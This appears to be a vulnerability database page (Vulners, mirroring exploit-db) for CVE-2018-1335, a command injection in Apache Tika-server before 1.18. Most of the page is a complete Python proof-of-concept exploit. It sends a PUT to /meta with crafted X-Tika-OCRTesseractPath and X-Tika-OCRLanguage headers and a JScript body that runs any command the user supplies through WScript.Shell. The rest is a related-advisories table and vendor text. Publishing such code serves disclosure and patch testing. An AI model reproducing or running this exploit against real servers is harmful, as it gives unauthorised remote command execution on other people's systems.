Lucene search
K

Apache Tika-server < 1.18 - Command Injection

🗓️ 13 Mar 2019 00:00:00Reported by Rhino Security LabsType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 90 Views

This is a PoC for remote command execution in Apache Tika-server. Versions Affected: Tika-server versions < 1.18

Related
Code
ReporterTitlePublishedViews
Family
Gitee
Exploit for Code Injection in Pivotal_Software Spring_Data_Commons
11 Apr 202111:34
gitee
0day.today
Apache Tika-server < 1.18 - Command Injection Exploit
13 Mar 201900:00
zdt
0day.today
Apache Tika 1.15 - 1.17 - Header Command Injection Exploit
5 Aug 201900:00
zdt
ATTACKERKB
Apache Tika Header Command Injection CVE-2018-1335
25 Apr 201800:00
attackerkb
Circl
CVE-2018-1335
12 Mar 201915:32
circl
CNVD
Apache Tika Command Injection Vulnerability
26 Apr 201800:00
cnvd
Check Point Advisories
Apache Tika Command Injection (CVE-2018-1335)
6 Dec 201800:00
checkpoint_advisories
CVE
CVE-2018-1335
25 Apr 201821:00
cve
Cvelist
CVE-2018-1335
25 Apr 201821:00
cvelist
Debian CVE
CVE-2018-1335
25 Apr 201821:00
debiancve
Rows per page
######################################################################################################
#Description: This is a PoC for remote command execution in Apache Tika-server.                      #
#Versions Affected: Tika-server versions < 1.18                                                      #   
#Researcher: David Yesland Twitter: @Daveysec                                                        #
#Blog Link: https://rhinosecuritylabs.com/application-security/exploiting-cve-2018-1335-apache-tika/ #                                                                   # 
#NIST CVE Link: https://nvd.nist.gov/vuln/detail/CVE-2018-1335                                       #
######################################################################################################

import sys
import requests

if len(sys.argv) < 4:
	print "Usage: python CVE-2018-1335.py <host> <port> <command>"
	print "Example: python CVE-2018-1335.py localhost 9998 calc.exe"
else:
	host = sys.argv[1]
	port = sys.argv[2]
	cmd = sys.argv[3]

	url = host+":"+str(port)+"/meta"

	headers = {"X-Tika-OCRTesseractPath": "\"cscript\"", 
		"X-Tika-OCRLanguage": "//E:Jscript", 
		"Expect": "100-continue", 
		"Content-type": "image/jp2", 
		"Connection": "close"}

	jscript='''var oShell = WScript.CreateObject("WScript.Shell");
	var oExec = oShell.Exec('cmd /c {}');
	'''.format(cmd)

	try:
		requests.put("https://"+url, headers=headers, data=jscript, verify=False)
	
	except:
		try:
			requests.put("http://"+url, headers=headers, data=jscript)
		except:
			print "Something went wrong.\nUsage: python CVE-2018-1335.py <host> <port> <command>"

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

13 Mar 2019 00:00Current
8.1High risk
Vulners AI Score8.1
CVSS 38.1
CVSS 29.3
EPSS0.93876
90